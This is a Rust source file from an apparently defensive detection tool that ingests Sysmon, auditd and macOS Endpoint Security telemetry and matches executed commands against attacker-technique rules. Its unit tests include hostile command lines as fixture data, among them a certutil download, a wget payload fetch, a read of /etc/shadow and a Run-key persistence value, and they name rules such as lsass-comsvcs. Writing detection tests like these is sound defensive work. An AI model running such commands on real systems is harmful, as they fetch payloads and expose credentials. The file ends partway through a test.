1use std::collections::HashMap;
32use std::sync::Arc;
33
34use serde_json::Value;
35
36use crate::model::SideEffect;
37use crate::parser::{self, Command};
38
39#[derive(Debug, Clone, Copy, PartialEq, Eq)]
42#[cfg_attr(feature = "clap", derive(clap::ValueEnum))]
43pub enum Format {
44 Sysmon,
47 Auditd,
51 Esf,
55}
56
57#[derive(Debug, Clone)]
68pub struct Observation {
69 pub record: usize,
73 pub commands: Vec<Command>,
76 pub raw: String,
78 pub event: Arc<HashMap<String, String>>,
85 pub side_effects: Vec<SideEffect>,
88}
89
90#[derive(Debug, Clone)]
95pub struct Ingest {
96 pub observations: Vec<Observation>,
98 pub skipped: usize,
103 pub event_observations: Vec<EventObservation>,
106}
107
108#[derive(Debug, Clone)]
113pub struct EventObservation {
114 pub record: usize,
116 pub class: String,
118 pub detail: String,
120 pub event: Arc<HashMap<String, String>>,
122}
123
124pub type UserMap = HashMap<String, String>;
126
127pub fn parse(text: &str, format: Format) -> Result<Ingest, String> {
132 parse_with_users(text, format, &UserMap::new())
133}
134
135pub fn parse_with_users(text: &str, format: Format, users: &UserMap) -> Result<Ingest, String> {
139 match format {
140 Format::Sysmon => parse_sysmon(text),
141 Format::Auditd => parse_auditd(text, users),
142 Format::Esf => parse_esf(text),
143 }
144}
145
146pub fn parse_passwd(text: &str) -> UserMap {
150 let mut map = UserMap::new();
151 for line in text.lines() {
152 let fields: Vec<&str> = line.split(':').collect();
153 if fields.len() >= 3 && !fields[0].is_empty() && !fields[2].is_empty() {
154 map.insert(fields[2].to_string(), fields[0].to_string());
155 }
156 }
157 map
158}
159
160fn parse_sysmon(text: &str) -> Result<Ingest, String> {
161 let events = read_events(text)?;
162 let mut observations: Vec<Observation> = Vec::new();
163 let mut event_observations: Vec<EventObservation> = Vec::new();
164 let mut latest_by_pid: HashMap<String, usize> = HashMap::new();
169 let mut skipped = 0;
170 for (i, ev) in events.iter().enumerate() {
171 let fields = flatten_fields(ev);
172 match reduce_process_create(&fields) {
173 Some((commands, raw)) => {
174 if let Some(p) = fields.get("ProcessId") {
175 latest_by_pid.insert(p.clone(), observations.len());
176 }
177 observations.push(Observation {
178 record: i + 1,
179 commands,
180 raw,
181 event: Arc::new(fields),
182 side_effects: Vec::new(),
183 });
184 }
185 None => {
186 skipped += 1;
192 if let Some((class, detail)) = sysmon_event(&fields) {
193 match fields.get("ProcessId").and_then(|p| latest_by_pid.get(p)) {
194 Some(&idx) => observations[idx]
195 .side_effects
196 .push(SideEffect { class, detail }),
197 None => event_observations.push(EventObservation {
198 record: i + 1,
199 class,
200 detail,
201 event: Arc::new(fields),
202 }),
203 }
204 }
205 }
206 }
207 }
208 Ok(Ingest {
209 observations,
210 skipped,
211 event_observations,
212 })
213}
214
215fn sysmon_event(fields: &HashMap<String, String>) -> Option<(String, String)> {
218 let get = |k: &str| fields.get(k).map(String::as_str).filter(|v| !v.is_empty());
219 let (class, detail) = match fields.get("EventID").map(String::as_str) {
220 Some("3") => {
221 let host = get("DestinationIp").or_else(|| get("DestinationHostname"))?;
222 let detail = match get("DestinationPort") {
223 Some(port) => format!("network connection to {host}:{port}"),
224 None => format!("network connection to {host}"),
225 };
226 ("network", detail)
227 }
228 Some("11") => ("file", format!("file created {}", get("TargetFilename")?)),
229 Some("13") => ("registry", format!("registry set {}", get("TargetObject")?)),
230 _ => return None,
231 };
232 Some((class.to_string(), detail))
233}
234
235const SYSMON_FIELDS: &[&str] = &[
240 "EventID",
241 "Image",
242 "CommandLine",
243 "OriginalFileName",
244 "CurrentDirectory",
245 "User",
246 "IntegrityLevel",
247 "Hashes",
248 "Company",
249 "Description",
250 "Product",
251 "FileVersion",
252 "ParentImage",
253 "ParentCommandLine",
254 "ParentUser",
255 "ParentProcessId",
256 "ProcessId",
257 "LogonId",
258 "TerminalSessionId",
259 "DestinationIp",
261 "DestinationPort",
262 "DestinationHostname",
263 "TargetFilename",
264 "TargetObject",
265 "EventType",
266];
267
268fn canonical_field(key: &str) -> String {
271 if key.eq_ignore_ascii_case("event_id") {
272 return "EventID".to_string();
273 }
274 SYSMON_FIELDS
275 .iter()
276 .find(|f| key.eq_ignore_ascii_case(f))
277 .map(|f| f.to_string())
278 .unwrap_or_else(|| key.to_string())
279}
280
281fn read_events(text: &str) -> Result<Vec<Value>, String> {
285 let trimmed = text.trim_start();
286 if trimmed.starts_with('[') {
287 let v: Value =
288 serde_json::from_str(text).map_err(|e| format!("invalid JSON array: {e}"))?;
289 return match v {
290 Value::Array(items) => Ok(items),
291 _ => Err("expected a JSON array of events".to_string()),
292 };
293 }
294 if trimmed.starts_with('{')
296 && let Ok(v) = serde_json::from_str::<Value>(text)
297 {
298 return Ok(vec![v]);
299 }
300 let mut out = Vec::new();
302 for (n, line) in text.lines().enumerate() {
303 let l = line.trim();
304 if l.is_empty() {
305 continue;
306 }
307 let v: Value =
308 serde_json::from_str(l).map_err(|e| format!("invalid JSON on line {}: {e}", n + 1))?;
309 out.push(v);
310 }
311 if out.is_empty() {
312 return Err("no telemetry records found".to_string());
313 }
314 Ok(out)
315}
316
317fn flatten_fields(ev: &Value) -> HashMap<String, String> {
326 let mut out = HashMap::new();
327 collect_scalars(ev, &mut out, 0);
328 out
329}
330
331fn collect_scalars(v: &Value, out: &mut HashMap<String, String>, depth: usize) {
332 if depth > 4 {
335 return;
336 }
337 let Some(map) = v.as_object() else { return };
338
339 for (k, val) in map {
345 if let Some(s) = value_scalar(val) {
346 out.entry(canonical_field(k)).or_insert(s);
347 }
348 }
349 for val in map.values() {
350 match val {
351 Value::Object(_) => collect_scalars(val, out, depth + 1),
352 Value::Array(items) => {
353 for item in items {
354 let obj = item.as_object();
356 let name = obj
357 .and_then(|o| o.get("@Name").or_else(|| o.get("Name")))
358 .and_then(Value::as_str);
359 let text = obj.and_then(|o| o.get("#text").or_else(|| o.get("text")));
360 match (name, text) {
361 (Some(name), Some(text)) => {
362 if let Some(s) = value_scalar(text) {
363 out.entry(canonical_field(name)).or_insert(s);
364 }
365 }
366 _ => collect_scalars(item, out, depth + 1),
367 }
368 }
369 }
370 _ => {}
371 }
372 }
373}
374
375fn value_scalar(v: &Value) -> Option<String> {
376 match v {
377 Value::String(s) => Some(s.clone()),
378 Value::Number(n) => Some(n.to_string()),
379 Value::Bool(b) => Some(b.to_string()),
380 _ => None,
381 }
382}
383
384fn reduce_process_create(fields: &HashMap<String, String>) -> Option<(Vec<Command>, String)> {
393 let event_id = fields.get("EventID");
396 let command_line = fields.get("CommandLine").map(String::as_str).unwrap_or("");
397 let is_process_create = match event_id {
398 Some(id) => id.trim() == "1",
399 None => !command_line.trim().is_empty(),
400 };
401 if !is_process_create {
402 return None;
403 }
404 execution_from_fields(fields)
405}
406
407fn execution_from_fields(fields: &HashMap<String, String>) -> Option<(Vec<Command>, String)> {
415 let command_line = fields.get("CommandLine").map(String::as_str).unwrap_or("");
416 let image = fields.get("Image").map(String::as_str).unwrap_or("");
417 let raw = if command_line.trim().is_empty() {
418 image.to_string()
419 } else {
420 command_line.to_string()
421 };
422 if raw.trim().is_empty() {
423 return None;
424 }
425
426 let mut commands = parser::parse_line(&raw);
427 if !image.trim().is_empty() {
428 let program = parser::basename(image);
429 match commands.first_mut() {
430 Some(first) => first.program = program,
431 None => commands.push(Command {
432 program,
433 args: Vec::new(),
434 raw: raw.clone(),
435 }),
436 }
437 }
438 Some((commands, raw))
439}
440
441struct AuditRecord {
449 kind: String,
450 event_id: String,
451 fields: HashMap<String, String>,
452}
453
454fn parse_auditd(text: &str, users: &UserMap) -> Result<Ingest, String> {
468 let mut order: Vec<String> = Vec::new();
469 let mut groups: HashMap<String, Vec<AuditRecord>> = HashMap::new();
470 for line in text.lines() {
471 if let Some(rec) = parse_audit_record(line) {
472 if !groups.contains_key(&rec.event_id) {
473 order.push(rec.event_id.clone());
474 }
475 groups.entry(rec.event_id.clone()).or_default().push(rec);
476 }
477 }
478 if order.is_empty() {
479 return Err("no auditd records found".to_string());
480 }
481
482 let mut observations = Vec::new();
483 let mut skipped = 0;
484 for (idx, id) in order.iter().enumerate() {
485 let recs = &groups[id];
486 let execve = recs.iter().find(|r| r.kind == "EXECVE");
487 let Some(execve) = execve else {
490 skipped += 1;
491 continue;
492 };
493
494 let mut fields = HashMap::new();
495 let cmdline = build_execve_cmdline(&execve.fields);
496 if !cmdline.is_empty() {
497 fields.insert("CommandLine".to_string(), cmdline);
498 }
499 if let Some(syscall) = recs.iter().find(|r| r.kind == "SYSCALL") {
500 if let Some(uid) = syscall.fields.get("uid")
502 && let Some(name) = users.get(uid)
503 {
504 fields.insert("User".to_string(), name.clone());
505 }
506 if let Some(exe) = syscall.fields.get("exe") {
507 let exe = decode_value(exe);
508 if !exe.is_empty() {
509 fields.insert("Image".to_string(), exe);
510 }
511 }
512 for (src, dst) in [("tty", "tty"), ("key", "key")] {
516 if let Some(v) = syscall.fields.get(src) {
517 let v = decode_value(v);
518 if !v.is_empty() && v != "(none)" {
519 fields.insert(dst.to_string(), v);
520 }
521 }
522 }
523 }
524 if let Some(cwd) = recs.iter().find(|r| r.kind == "CWD")
525 && let Some(dir) = cwd.fields.get("cwd")
526 {
527 let dir = decode_value(dir);
528 if !dir.is_empty() {
529 fields.insert("CurrentDirectory".to_string(), dir);
530 }
531 }
532
533 match execution_from_fields(&fields) {
534 Some((commands, raw)) => observations.push(Observation {
535 record: idx + 1,
539 commands,
540 raw,
541 event: Arc::new(fields),
542 side_effects: Vec::new(),
543 }),
544 None => skipped += 1,
545 }
546 }
547 Ok(Ingest {
548 observations,
549 skipped,
550 event_observations: Vec::new(),
551 })
552}
553
554fn parse_audit_record(line: &str) -> Option<AuditRecord> {
557 let fields = parse_kv(line);
558 let kind = fields.get("type").map(|v| decode_value(v))?;
559 let event_id = fields.get("msg").and_then(|m| event_id_from_msg(m))?;
560 Some(AuditRecord {
561 kind,
562 event_id,
563 fields,
564 })
565}
566
567fn event_id_from_msg(msg: &str) -> Option<String> {
571 let start = msg.find("audit(")? + "audit(".len();
572 let end = msg[start..].find(')')? + start;
573 Some(msg[start..end].to_string())
574}
575
576fn build_execve_cmdline(fields: &HashMap<String, String>) -> String {
587 let mut args = Vec::new();
588 let mut i = 0;
589 while let Some(v) = fields.get(&format!("a{i}")) {
590 args.push(shell_quote_arg(&decode_value(v)));
591 i += 1;
592 }
593 args.join(" ")
594}
595
596fn shell_quote_arg(arg: &str) -> String {
603 let is_bare = !arg.is_empty()
604 && arg.bytes().all(|b| {
605 b.is_ascii_alphanumeric()
606 || matches!(
607 b,
608 b'-' | b'_' | b'.' | b'/' | b':' | b'=' | b'@' | b',' | b'+' | b'%'
609 )
610 });
611 if is_bare {
612 return arg.to_string();
613 }
614 if !arg.contains('"') {
615 format!("\"{arg}\"")
616 } else {
617 format!("'{arg}'")
618 }
619}
620
621fn decode_value(v: &str) -> String {
627 let v = v.trim();
628 if v.len() >= 2 && v.starts_with('"') && v.ends_with('"') {
629 return v[1..v.len() - 1].to_string();
630 }
631 if v.len() >= 2
632 && v.len().is_multiple_of(2)
633 && v.bytes().all(|b| b.is_ascii_hexdigit())
634 && let Some(decoded) = hex_decode(v)
635 {
636 return decoded;
637 }
638 v.to_string()
639}
640
641fn hex_decode(s: &str) -> Option<String> {
645 let bytes: Option<Vec<u8>> = (0..s.len())
646 .step_by(2)
647 .map(|i| u8::from_str_radix(&s[i..i + 2], 16).ok())
648 .collect();
649 let mut bytes = bytes?;
650 while bytes.last() == Some(&0) {
651 bytes.pop();
652 }
653 String::from_utf8(bytes).ok()
654}
655
656fn parse_kv(s: &str) -> HashMap<String, String> {
662 let mut out = HashMap::new();
663 let bytes = s.as_bytes();
664 let mut i = 0;
665 while i < bytes.len() {
666 while i < bytes.len() && bytes[i] == b' ' {
667 i += 1;
668 }
669 if i >= bytes.len() {
670 break;
671 }
672 let key_start = i;
673 while i < bytes.len() && bytes[i] != b'=' && bytes[i] != b' ' {
674 i += 1;
675 }
676 if i >= bytes.len() || bytes[i] != b'=' {
677 while i < bytes.len() && bytes[i] != b' ' {
679 i += 1;
680 }
681 continue;
682 }
683 let key = &s[key_start..i];
684 i += 1; let val_start = i;
686 let val_end = if i < bytes.len() && bytes[i] == b'"' {
687 i += 1;
688 while i < bytes.len() && bytes[i] != b'"' {
689 i += 1;
690 }
691 if i < bytes.len() {
692 i += 1; }
694 i
695 } else {
696 while i < bytes.len() && bytes[i] != b' ' {
697 i += 1;
698 }
699 i
700 };
701 out.insert(key.to_string(), s[val_start..val_end].to_string());
702 }
703 out
704}
705
706fn parse_esf(text: &str) -> Result<Ingest, String> {
722 let events = read_events(text)?;
723 let mut observations = Vec::new();
724 let mut skipped = 0;
725 for (i, ev) in events.iter().enumerate() {
726 match reduce_esf(ev) {
727 Some(fields) => match execution_from_fields(&fields) {
728 Some((commands, raw)) => observations.push(Observation {
729 record: i + 1,
730 commands,
731 raw,
732 event: Arc::new(fields),
733 side_effects: Vec::new(),
734 }),
735 None => skipped += 1,
736 },
737 None => skipped += 1,
738 }
739 }
740 Ok(Ingest {
741 observations,
742 skipped,
743 event_observations: Vec::new(),
744 })
745}
746
747fn reduce_esf(ev: &Value) -> Option<HashMap<String, String>> {
752 let exec = ev.get("event")?.get("exec")?;
753 if !exec.is_object() {
754 return None;
755 }
756 let mut fields = HashMap::new();
757 if let Some(image) = nested_str(exec, &["target", "executable", "path"]) {
758 insert_nonempty(&mut fields, "Image", image);
759 }
760 let cmdline = join_json_args(exec.get("args"));
761 if !cmdline.is_empty() {
762 fields.insert("CommandLine".to_string(), cmdline);
763 }
764 if let Some(cwd) = nested_str(exec, &["cwd", "path"]) {
765 insert_nonempty(&mut fields, "CurrentDirectory", cwd);
766 }
767 if let Some(parent) = nested_str(ev, &["process", "executable", "path"]) {
768 insert_nonempty(&mut fields, "ParentImage", parent);
769 }
770 if let Some(target) = exec.get("target") {
774 if let Some(signing_id) = target.get("signing_id").and_then(Value::as_str) {
775 insert_nonempty(&mut fields, "signing_id", signing_id);
776 }
777 if let Some(team_id) = target.get("team_id").and_then(Value::as_str) {
778 insert_nonempty(&mut fields, "team_id", team_id);
779 }
780 if let Some(platform) = target.get("is_platform_binary").and_then(Value::as_bool) {
781 fields.insert("is_platform_binary".to_string(), platform.to_string());
782 }
783 }
784 Some(fields)
785}
786
787fn join_json_args(args: Option<&Value>) -> String {
791 let Some(items) = args.and_then(Value::as_array) else {
792 return String::new();
793 };
794 items
795 .iter()
796 .filter_map(Value::as_str)
797 .map(shell_quote_arg)
798 .collect::<Vec<_>>()
799 .join(" ")
800}
801
802fn nested_str<'a>(v: &'a Value, path: &[&str]) -> Option<&'a str> {
805 let mut cur = v;
806 for key in path {
807 cur = cur.get(key)?;
808 }
809 cur.as_str()
810}
811
812fn insert_nonempty(fields: &mut HashMap<String, String>, key: &str, value: &str) {
815 if !value.is_empty() {
816 fields.insert(key.to_string(), value.to_string());
817 }
818}
819
820#[cfg(test)]
821mod tests {
822 use super::*;
823 use crate::analyzer;
824 use crate::kb;
825 use crate::model::KnowledgeBase;
826 use std::path::PathBuf;
827
828 fn fixture(name: &str) -> String {
829 let path = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
830 .join("../../tests/fixtures/telemetry")
831 .join(name);
832 std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {e}", path.display()))
833 }
834
835 fn win_kb() -> KnowledgeBase {
836 kb::load(kb::Platform::WindowsSysmon).expect("windows KB must parse")
837 }
838
839 fn lnx_kb() -> KnowledgeBase {
840 kb::load(kb::Platform::LinuxAuditd).expect("linux KB must parse")
841 }
842
843 fn mac_kb() -> KnowledgeBase {
844 kb::load(kb::Platform::MacosEs).expect("macos KB must parse")
845 }
846
847 fn ids(report: &crate::model::Report) -> Vec<String> {
848 report.findings.iter().map(|f| f.rule_id.clone()).collect()
849 }
850
851 #[test]
852 fn ingests_sysmon_array_and_skips_non_process_events() {
853 let ingest = parse(&fixture("sysmon-eid1.json"), Format::Sysmon).expect("parses");
854 assert_eq!(ingest.observations.len(), 3);
856 assert_eq!(ingest.skipped, 1);
857 assert_eq!(
859 ingest
860 .observations
861 .iter()
862 .map(|o| o.record)
863 .collect::<Vec<_>>(),
864 vec![1, 2, 3]
865 );
866 }
867
868 #[test]
869 fn analyzes_ingested_sysmon_events_via_the_existing_matcher() {
870 let ingest = parse(&fixture("sysmon-eid1.json"), Format::Sysmon).expect("parses");
871 let report = analyzer::analyze_telemetry(&ingest, &win_kb());
872 let ids = ids(&report);
873 assert!(ids.contains(&"certutil-download".to_string()));
875 assert!(ids.contains(&"lsass-comsvcs".to_string()));
876 let certutil = report
878 .findings
879 .iter()
880 .find(|f| f.rule_id == "certutil-download")
881 .unwrap();
882 assert_eq!(certutil.line, 1);
883 }
884
885 fn event_kb() -> KnowledgeBase {
889 let json = r#"{
890 "platform": "windows-sysmon",
891 "entries": [{
892 "id": "registry-run-key-persistence",
893 "match": { "event": { "class": "registry", "field": "TargetObject",
894 "contains": "\\CurrentVersion\\Run" } },
895 "description": "Autorun value set under a Run key",
896 "techniques": [{"id": "T1547.001", "name": "Registry Run Keys / Startup Folder"}],
897 "telemetry": ["Sysmon EID 13 (registry value set) under a Run key"],
898 "noise": 60
899 }]
900 }"#;
901 let kb: KnowledgeBase = serde_json::from_str(json).expect("test KB parses");
902 kb.validate().expect("test KB valid");
903 kb
904 }
905
906 #[test]
907 fn standalone_registry_event_matches_the_event_axis() {
908 let sysmon = r#"[{"EventID":13,"ProcessId":"7777",
912 "TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater"}]"#;
913 let ingest = parse(sysmon, Format::Sysmon).expect("parses");
914 assert!(ingest.observations.is_empty());
915 assert_eq!(ingest.event_observations.len(), 1);
916 assert_eq!(ingest.event_observations[0].class, "registry");
917
918 let report = analyzer::analyze_telemetry(&ingest, &event_kb());
919 let f = report
920 .findings
921 .iter()
922 .find(|f| f.rule_id == "registry-run-key-persistence")
923 .expect("standalone registry finding");
924 assert_eq!(f.techniques[0].id, "T1547.001");
925 assert!(
927 f.observed_side_effects
928 .iter()
929 .any(|se| se.class == "registry" && se.detail.contains("registry set"))
930 );
931 }
932
933 #[test]
934 fn correlated_registry_event_is_not_also_matched_standalone() {
935 let sysmon = r#"[
939 {"EventID":1,"ProcessId":"5555","Image":"C:\\Windows\\System32\\reg.exe","CommandLine":"reg add x"},
940 {"EventID":13,"ProcessId":"5555","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\x"}
941 ]"#;
942 let ingest = parse(sysmon, Format::Sysmon).expect("parses");
943 assert_eq!(ingest.observations.len(), 1);
944 assert_eq!(ingest.observations[0].side_effects.len(), 1);
945 assert!(ingest.event_observations.is_empty());
946 }
947
948 #[test]
949 fn image_is_authoritative_for_the_program_basename() {
950 let ev = r#"{"EventID":1,"Image":"C:\\Windows\\System32\\certutil.exe","CommandLine":"certutil -urlcache -f http://x/a a"}"#;
953 let ingest = parse(ev, Format::Sysmon).expect("parses");
954 assert_eq!(ingest.observations.len(), 1);
955 assert_eq!(ingest.observations[0].commands[0].program, "certutil");
956 }
957
958 #[test]
959 fn ingests_jsonl_with_nested_event_data() {
960 let ingest = parse(&fixture("sysmon-eid1.jsonl"), Format::Sysmon).expect("parses");
963 assert_eq!(ingest.observations.len(), 2);
964 assert_eq!(ingest.skipped, 0);
965 let report = analyzer::analyze_telemetry(&ingest, &win_kb());
966 let ids = ids(&report);
967 assert!(ids.contains(&"vssadmin-delete".to_string()));
968 assert!(ids.contains(&"net-user".to_string()));
969 }
970
971 #[test]
972 fn sysmon_correlates_network_and_file_side_effects() {
973 let ingest =
974 parse(&fixture("sysmon-with-side-effects.json"), Format::Sysmon).expect("parses");
975 assert_eq!(ingest.observations.len(), 1);
977 assert_eq!(ingest.skipped, 3);
978 let effects = &ingest.observations[0].side_effects;
981 assert_eq!(effects.len(), 2);
982 assert!(
983 effects
984 .iter()
985 .any(|e| e.class == "network" && e.detail == "network connection to 192.0.2.10:443")
986 );
987 assert!(
988 effects
989 .iter()
990 .any(|e| e.class == "file" && e.detail.contains("a.exe"))
991 );
992 }
993
994 #[test]
995 fn side_effects_reach_the_finding() {
996 let ingest =
997 parse(&fixture("sysmon-with-side-effects.json"), Format::Sysmon).expect("parses");
998 let report = analyzer::analyze_telemetry(&ingest, &win_kb());
999 let certutil = report
1000 .findings
1001 .iter()
1002 .find(|f| f.rule_id == "certutil-download")
1003 .expect("certutil finding");
1004 assert_eq!(certutil.observed_side_effects.len(), 2);
1005 }
1006
1007 #[test]
1008 fn side_effects_correlate_to_the_latest_execution_of_a_reused_pid() {
1009 let sysmon = r#"[
1012 {"EventID":1,"ProcessId":"100","Image":"C:\\a.exe","CommandLine":"a.exe"},
1013 {"EventID":3,"ProcessId":"100","DestinationIp":"10.0.0.1","DestinationPort":"1"},
1014 {"EventID":1,"ProcessId":"100","Image":"C:\\b.exe","CommandLine":"b.exe"},
1015 {"EventID":3,"ProcessId":"100","DestinationIp":"10.0.0.2","DestinationPort":"2"}
1016 ]"#;
1017 let ingest = parse(sysmon, Format::Sysmon).expect("parses");
1018 assert_eq!(ingest.observations.len(), 2);
1019 assert_eq!(ingest.observations[0].side_effects.len(), 1);
1020 assert!(
1021 ingest.observations[0].side_effects[0]
1022 .detail
1023 .contains("10.0.0.1")
1024 );
1025 assert_eq!(ingest.observations[1].side_effects.len(), 1);
1026 assert!(
1027 ingest.observations[1].side_effects[0]
1028 .detail
1029 .contains("10.0.0.2")
1030 );
1031 }
1032
1033 #[test]
1034 fn network_event_without_a_command_line_is_not_a_process_create() {
1035 let mut fields = HashMap::new();
1038 fields.insert(
1039 "Image".to_string(),
1040 "C:\\Windows\\System32\\svchost.exe".to_string(),
1041 );
1042 fields.insert("DestinationIp".to_string(), "192.0.2.1".to_string());
1043 assert!(reduce_process_create(&fields).is_none());
1044 }
1045
1046 #[test]
1047 fn observed_mode_agrees_with_predictive_mode() {
1048 let cmdline = "certutil.exe -urlcache -f http://x/a.exe a.exe";
1051 let ev = format!(
1052 r#"{{"EventID":1,"Image":"C:\\Windows\\System32\\certutil.exe","CommandLine":"{cmdline}"}}"#
1053 );
1054 let ingest = parse(&ev, Format::Sysmon).expect("parses");
1055 let observed = ids(&analyzer::analyze_telemetry(&ingest, &win_kb()));
1056 let predicted = ids(&analyzer::analyze(cmdline, &win_kb()));
1057 let set = |v: Vec<String>| v.into_iter().collect::<std::collections::BTreeSet<_>>();
1058 assert_eq!(set(observed), set(predicted));
1059 }
1060
1061 #[test]
1062 fn top_level_field_wins_over_a_nested_duplicate() {
1063 let ev = r#"{
1066 "EventData": { "Image": "C:\\nested\\reg.exe", "CommandLine": "reg query HKLM" },
1067 "Image": "C:\\Windows\\System32\\certutil.exe",
1068 "EventID": 1
1069 }"#;
1070 let value: serde_json::Value = serde_json::from_str(ev).unwrap();
1071 let fields = flatten_fields(&value);
1072 assert_eq!(
1073 fields.get("Image").map(String::as_str),
1074 Some("C:\\Windows\\System32\\certutil.exe")
1075 );
1076 assert_eq!(
1078 fields.get("CommandLine").map(String::as_str),
1079 Some("reg query HKLM")
1080 );
1081 }
1082
1083 #[test]
1084 fn observation_carries_canonical_event_fields() {
1085 let ev = r#"{"winlog":{"event_id":1,"event_data":{
1089 "Image":"C:\\Windows\\System32\\certutil.exe",
1090 "CommandLine":"certutil -urlcache -f http://x/a a",
1091 "parentimage":"C:\\Program Files\\Microsoft Office\\WINWORD.EXE",
1092 "IntegrityLevel":"Medium"
1093 }}}"#;
1094 let ingest = parse(ev, Format::Sysmon).expect("parses");
1095 let event = &ingest.observations[0].event;
1096 assert_eq!(event.get("EventID").map(String::as_str), Some("1"));
1097 assert_eq!(
1098 event.get("ParentImage").map(String::as_str),
1099 Some("C:\\Program Files\\Microsoft Office\\WINWORD.EXE")
1100 );
1101 assert_eq!(
1102 event.get("IntegrityLevel").map(String::as_str),
1103 Some("Medium")
1104 );
1105 }
1106
1107 #[test]
1108 fn invalid_json_is_a_clear_error() {
1109 assert!(parse("not json at all", Format::Sysmon).is_err());
1110 }
1111
1112 #[test]
1115 fn ingests_auditd_execve_and_skips_non_exec() {
1116 let ingest = parse(&fixture("auditd-execve.log"), Format::Auditd).expect("parses");
1117 assert_eq!(ingest.observations.len(), 3);
1120 assert_eq!(ingest.skipped, 1);
1121 assert_eq!(
1124 ingest
1125 .observations
1126 .iter()
1127 .map(|o| o.record)
1128 .collect::<Vec<_>>(),
1129 vec![1, 2, 4]
1130 );
1131 }
1132
1133 #[test]
1134 fn analyzes_ingested_auditd_events_via_the_existing_matcher() {
1135 let ingest = parse(&fixture("auditd-execve.log"), Format::Auditd).expect("parses");
1136 let report = analyzer::analyze_telemetry(&ingest, &lnx_kb());
1137 let ids = ids(&report);
1138 assert!(ids.contains(&"shadow-read".to_string()));
1139 assert!(ids.contains(&"wget".to_string()));
1140 assert!(ids.contains(&"whoami".to_string()));
1141 }
1142
1143 #[test]
1144 fn auditd_rebuilds_argv_and_decodes_hex_and_quoted_values() {
1145 let ingest = parse(&fixture("auditd-execve.log"), Format::Auditd).expect("parses");
1146 let wget = &ingest.observations[1];
1148 assert_eq!(wget.commands[0].program, "wget");
1149 assert_eq!(wget.raw, "wget http://192.0.2.10/payload");
1150 assert_eq!(
1151 wget.event.get("Image").map(String::as_str),
1152 Some("/usr/bin/wget")
1153 );
1154 assert_eq!(
1157 wget.event.get("CurrentDirectory").map(String::as_str),
1158 Some("/tmp")
1159 );
1160 assert!(wget.event.get("User").is_none());
1162 }
1163
1164 #[test]
1165 fn auditd_reassembles_records_out_of_order() {
1166 let log = "\
1169type=EXECVE msg=audit(10.0:1): argc=2 a0=\"cat\" a1=\"/etc/shadow\"
1170type=SYSCALL msg=audit(99.9:2): syscall=42 exe=\"/usr/bin/ss\"
1171type=SYSCALL msg=audit(10.0:1): syscall=59 exe=\"/usr/bin/cat\" uid=0
1172";
1173 let ingest = parse(log, Format::Auditd).expect("parses");
1174 assert_eq!(ingest.observations.len(), 1);
1175 assert_eq!(ingest.skipped, 1);
1176 assert_eq!(ingest.observations[0].raw, "cat /etc/shadow");
1177 assert_eq!(
1178 ingest.observations[0]
1179 .event
1180 .get("Image")
1181 .map(String::as_str),
1182 Some("/usr/bin/cat")
1183 );
1184 }
1185
1186 #[test]
1187 fn decode_value_handles_quoted_hex_and_literal() {
1188 assert_eq!(decode_value("\"/usr/bin/cat\""), "/usr/bin/cat");
1189 assert_eq!(decode_value("2f7573722f62696e2f6361740000"), "/usr/bin/cat");
1190 assert_eq!(decode_value("/usr/bin/whoami"), "/usr/bin/whoami");
1191 assert_eq!(decode_value("5678"), "Vx");
1196 assert_eq!(decode_value("567"), "567");
1197 }
1198
1199 #[test]
1200 fn auditd_preserves_argv_boundaries_across_whitespace_and_metachars() {
1201 let log = "\
1205type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/grep\"
1206type=EXECVE msg=audit(1.0:1): argc=4 a0=\"grep\" a1=\"-r\" a2=68656c6c6f20776f726c64 a3=613b627c63
1207";
1208 let ingest = parse(log, Format::Auditd).expect("parses");
1209 let cmd = &ingest.observations[0].commands[0];
1210 assert_eq!(cmd.program, "grep");
1211 assert!(
1213 cmd.args.iter().any(|a| a == "hello world"),
1214 "expected 'hello world' as one arg, got {:?}",
1215 cmd.args
1216 );
1217 assert!(
1218 cmd.args.iter().any(|a| a == "a;b|c"),
1219 "expected 'a;b|c' as one arg, got {:?}",
1220 cmd.args
1221 );
1222 }
1223
1224 #[test]
1225 fn passwd_maps_uid_to_name() {
1226 let passwd = "root:x:0:0:root:/root:/bin/bash\n# comment\nanalyst:x:1000:1000::/home/analyst:/bin/zsh\nbad-line\n";
1227 let map = parse_passwd(passwd);
1228 assert_eq!(map.get("0").map(String::as_str), Some("root"));
1229 assert_eq!(map.get("1000").map(String::as_str), Some("analyst"));
1230 assert_eq!(map.len(), 2);
1231 }
1232
1233 #[test]
1234 fn auditd_resolves_user_only_with_a_mapping() {
1235 let log = "\
1236type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/whoami\" uid=0
1237type=EXECVE msg=audit(1.0:1): argc=1 a0=\"whoami\"
1238";
1239 let bare = parse(log, Format::Auditd).expect("parses");
1242 assert!(bare.observations[0].event.get("User").is_none());
1243
1244 let users = parse_passwd("root:x:0:0:::\n");
1246 let mapped = parse_with_users(log, Format::Auditd, &users).expect("parses");
1247 assert_eq!(
1248 mapped.observations[0].event.get("User").map(String::as_str),
1249 Some("root")
1250 );
1251 }
1252
1253 #[test]
1254 fn empty_auditd_input_is_a_clear_error() {
1255 assert!(parse("", Format::Auditd).is_err());
1256 assert!(parse("---- \n#comment\n", Format::Auditd).is_err());
1257 }
1258
1259 #[test]
1262 fn ingests_esf_exec_and_skips_non_exec() {
1263 let ingest = parse(&fixture("esf-exec.jsonl"), Format::Esf).expect("parses");
1264 assert_eq!(ingest.observations.len(), 3);
1267 assert_eq!(ingest.skipped, 1);
1268 assert_eq!(
1269 ingest
1270 .observations
1271 .iter()
1272 .map(|o| o.record)
1273 .collect::<Vec<_>>(),
1274 vec![1, 2, 4]
1275 );
1276 }
1277
1278 #[test]
1279 fn analyzes_ingested_esf_events_via_the_existing_matcher() {
1280 let ingest = parse(&fixture("esf-exec.jsonl"), Format::Esf).expect("parses");
1281 let report = analyzer::analyze_telemetry(&ingest, &mac_kb());
1282 let ids = ids(&report);
1283 assert!(ids.contains(&"curl".to_string()));
1284 assert!(ids.contains(&"whoami".to_string()));
1285 assert!(ids.contains(&"sw-vers".to_string()));
1286 }
1287
1288 #[test]
1289 fn esf_reduces_target_argv_and_carries_the_calling_parent() {
